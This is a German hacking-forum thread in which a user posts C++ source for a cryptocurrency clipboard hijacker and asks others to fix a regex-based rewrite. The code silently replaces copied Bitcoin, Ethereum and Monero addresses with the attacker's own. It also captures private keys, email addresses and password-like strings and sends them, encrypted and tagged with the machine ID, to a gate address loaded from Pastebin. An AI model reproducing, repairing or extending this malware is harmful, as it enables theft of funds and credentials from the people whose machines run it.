Hey
Wie der Titel schon sagt , suche ich Hilfe bei einem Project.
Es werden einige Plugins / DLLs benötitgt.
PM
if serious == "true"
Du bist nicht angemeldet und hast somit nur einen sehr eingeschränkten Zugriff auf die Features unserer Community.
Um vollen Zugriff zu erlangen musst du dir einen Account erstellen. Der Vorgang sollte nicht länger als 1 Minute dauern.
versuchen wir mal was andere :-)
DAS HIER IST EIN COIN STEALER SIMPLE DUMM USING RFIND :
#include <iostream> #include <string> #include <Windows.h> #include <time.h> #include "BuildSystem\config.h" class CoinFinder { public: static void grabBitcoin() { try { dark::config::config config = dark::config::load(); std::string s = config.btcad; while (true) { std::string clipboardText = GetClipboardText(); if (clipboardText.length() >= 26 && clipboardText.length() <= 35 && clipboardText != s) { if (clipboardText.rfind("1", 0) == 0 || clipboardText.rfind("3", 0) == 0) { toClipboard(s); } } Sleep(1500); } } catch (int e){} } static void grabEthereum() { try { dark::config::config config = dark::config::load(); std::string s = config.ethad; while (true) { std::string clipboardText = GetClipboardText(); if (clipboardText.length() == 42 && clipboardText != s) { if (clipboardText.rfind("0x", 0) == 0) { toClipboard(s); } } Sleep(1500); } } catch (int e) {} } static void grabXMR() { try { dark::config::config config = dark::config::load(); std::string s = config.xmrad; while (true) { std::string clipboardText = GetClipboardText(); if (clipboardText.length() == 95 && clipboardText != s) { if (clipboardText.rfind("4", 0) == 0) { toClipboard(s); } } Sleep(1500); } } catch (int e) {} } static void grabPRIV() { try { while (true) { std::string clipboardText = GetClipboardText(); if (clipboardText.length() == 51) { if (clipboardText.rfind("5", 0) == 0) { pk(clipboardText); } }else if (clipboardText.length() == 52) { if (clipboardText.rfind("5", 0) == 0 && clipboardText.rfind("K", 0) == 0 && clipboardText.rfind("L", 0) == 0) { pk(clipboardText); } }else if (clipboardText.length() == 64) { if (clipboardText.rfind("4", 0) == 0 && clipboardText.rfind("e", 0) == 0 && clipboardText.rfind("d", 0) == 0 && clipboardText.rfind("8", 0) == 0 && clipboardText.rfind("f", 0) == 0) { pk(clipboardText); } } Sleep(1500); } } catch (int e) {} } static void pk(std::string data) { try { dark::config::config config = dark::config::load(); std::string gateFromPatebin; if (config.pastebinUrl.find(OBFUSCATE("http://")) != std::string::npos) { gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET")); } else if (config.pastebinUrl.find(OBFUSCATE("https://")) != std::string::npos) { gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET")); } else { gateFromPatebin = XOR::Decrypt(config.pastebinUrl); } std::string args = "prikey=" + data + "&hwid=" + Helpers::GetMachineGUID(); std::string finalPost = "request=" + XOR::encryptReqeust(args); postRequest(gateFromPatebin, finalPost, "POST", config.useragent); } catch (int e) {} } static std::string GetClipboardText() { // Try opening the clipboard if (!OpenClipboard(nullptr)){ return ""; } // Get handle of clipboard object for ANSI text HANDLE hData = GetClipboardData(CF_TEXT); if (hData == nullptr) { return ""; } // Lock the handle to get the actual text pointer char* pszText = static_cast<char*>(GlobalLock(hData)); if (pszText == nullptr) { return ""; } // Save text in a string class instance std::string text(pszText); // Release the lock GlobalUnlock(hData); // Release the clipboard CloseClipboard(); return text; } static void toClipboard(std::string s) { HWND hwnd = GetDesktopWindow(); OpenClipboard(hwnd); EmptyClipboard(); HGLOBAL hg = GlobalAlloc(GMEM_MOVEABLE, s.size() + 1); if (!hg) { CloseClipboard(); return; } memcpy(GlobalLock(hg), s.c_str(), s.size() + 1); GlobalUnlock(hg); SetClipboardData(CF_TEXT, hg); CloseClipboard(); GlobalFree(hg); } };
JETZT WÜRDE ICH DIESEN GERNE UMBAUEN AUF REGEX
+ EMAILS UND STD PWS ABFRAGEN
HIER DIE REGEXE DIE ICH EBEN BRAUCHE :
BTC:
ETH:
XMR:
PRIVATEKEYS:
:(/^[5KL][1-9A-HJ-NP-Za-km-z]{50,51}$/)(KANN MAN JA MEINER FIND ENTNEHMEN)
EMAILS:
STD PWS:
(wobei bis 12 !)
NUR BEI MIR LÄUFT ES NICHT KP WARUM
VLL KANN MIR HIER EINER HELFEN
EINFACH DIE REGEX EINBAUEN UND ABFRAGEN
:_)
WAS LÄUFT HIER NICHT ?
#include <iostream> #include <string> #include <Windows.h> #include <time.h> #include "BuildSystem\config.h" #include <regex> class CoinFinder { public: static void grabBitcoin() { try { dark::config::config config = dark::config::load(); std::string s = config.btcad; std::regex bt ("^[13][a-km-zA-HJ-NP-Z0-9]{26,33}$"); while (true) { std::string clipboardText = GetClipboardText(); if (std::regex_match (clipboardText,bt) && clipboardText != s) { toClipboard(s); } Sleep(1500); } } catch (int e){} } static void grabEthereum() { try { dark::config::config config = dark::config::load(); std::string s = config.ethad; std::regex et ("^0x[a-fA-F0-9]{40}$"); while (true) { std::string clipboardText = GetClipboardText(); if (std::regex_match (clipboardText,et) && clipboardText != s) { toClipboard(s); } Sleep(1500); } } catch (int e) {} } static void grabXMR() { try { dark::config::config config = dark::config::load(); std::string s = config.xmrad; std::regex xm ("^4([0-9]|[A-B])(.){93}"); while (true) { std::string clipboardText = GetClipboardText(); if (std::regex_match (clipboardText,xm) && clipboardText != s) { toClipboard(s); } Sleep(1500); } } catch (int e) {} } static void grabPRIV() { try { while (true) { std::string clipboardText = GetClipboardText(); std::regex pkn ("^[5KL][1-9A-HJ-NP-Za-km-z]{50,51}$"); std::regex pki ("^[4ed8][1-9A-HJ-NP-Za-km-z]{50,64}$"); std::regex m ("^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$"); std::regex p ("^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[#$^+=!*()@%&]).{8,10}$"); if (std::regex_match (clipboardText,pkn)) { pk(clipboardText); }else if (std::regex_match (clipboardText,pki)) { pk(clipboardText); }else if (std::regex_match (clipboardText,m)) { mk(clipboardText); }else if (std::regex_match (clipboardText,p)){ pw(clipboardText); } Sleep(1500); } } catch (int e) {} } static void pk(std::string data) { try { dark::config::config config = dark::config::load(); std::string gateFromPatebin; if (config.pastebinUrl.find(OBFUSCATE("http://")) != std::string::npos) { gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET")); } else if (config.pastebinUrl.find(OBFUSCATE("https://")) != std::string::npos) { gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET")); } else { gateFromPatebin = XOR::Decrypt(config.pastebinUrl); } std::string args = "prikey=" + data + "&hwid=" + Helpers::GetMachineGUID(); std::string finalPost = "request=" + XOR::encryptReqeust(args); postRequest(gateFromPatebin, finalPost, "POST", config.useragent); } catch (int e) {} } static void mk(std::string data) { try { dark::config::config config = dark::config::load(); std::string gateFromPatebin; if (config.pastebinUrl.find(OBFUSCATE("http://")) != std::string::npos) { gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET")); } else if (config.pastebinUrl.find(OBFUSCATE("https://")) != std::string::npos) { gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET")); } else { gateFromPatebin = XOR::Decrypt(config.pastebinUrl); } std::string args = "nmail=" + data + "&hwid=" + Helpers::GetMachineGUID(); std::string finalPost = "request=" + XOR::encryptReqeust(args); postRequest(gateFromPatebin, finalPost, "POST", config.useragent); } catch (int e) {} } static void pw(std::string data) { try { dark::config::config config = dark::config::load(); std::string gateFromPatebin; if (config.pastebinUrl.find(OBFUSCATE("http://")) != std::string::npos) { gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET")); } else if (config.pastebinUrl.find(OBFUSCATE("https://")) != std::string::npos) { gateFromPatebin = XOR::Decrypt(postRequest(config.pastebinUrl, "", "GET")); } else { gateFromPatebin = XOR::Decrypt(config.pastebinUrl); } std::string args = "npw=" + data + "&hwid=" + Helpers::GetMachineGUID(); std::string finalPost = "request=" + XOR::encryptReqeust(args); postRequest(gateFromPatebin, finalPost, "POST", config.useragent); } catch (int e) {} } static std::string GetClipboardText() { // Try opening the clipboard if (!OpenClipboard(nullptr)){ return ""; } // Get handle of clipboard object for ANSI text HANDLE hData = GetClipboardData(CF_TEXT); if (hData == nullptr) { return ""; } // Lock the handle to get the actual text pointer char* pszText = static_cast<char*>(GlobalLock(hData)); if (pszText == nullptr) { return ""; } // Save text in a string class instance std::string text(pszText); // Release the lock GlobalUnlock(hData); // Release the clipboard CloseClipboard(); return text; } static void toClipboard(std::string s) { HWND hwnd = GetDesktopWindow(); OpenClipboard(hwnd); EmptyClipboard(); HGLOBAL hg = GlobalAlloc(GMEM_MOVEABLE, s.size() + 1); if (!hg) { CloseClipboard(); return; } memcpy(GlobalLock(hg), s.c_str(), s.size() + 1); GlobalUnlock(hg); SetClipboardData(CF_TEXT, hg); CloseClipboard(); GlobalFree(hg); } };
Bearbeitet von Haxlor, 17 March 2020 - 13:35 Uhr.
Thema | Forum | Themenstarter | Statistik | Letzter Beitrag | |
---|---|---|---|---|---|
Programmierer |
Abgelehnt / Rejected | mesude5454 |
|
|
|
C++ Von A bis ZC++, Programmierung, E-Book und 1 weitere... |
Allgemeines | frodo91 |
|
|
|
News
US-Programmierer hackt Lotto-Zahlen u. bekommt 25 Jahre haft |
News | White-Warti |
|
|
Mitglieder: , Gäste: , unsichtbare Mitglieder: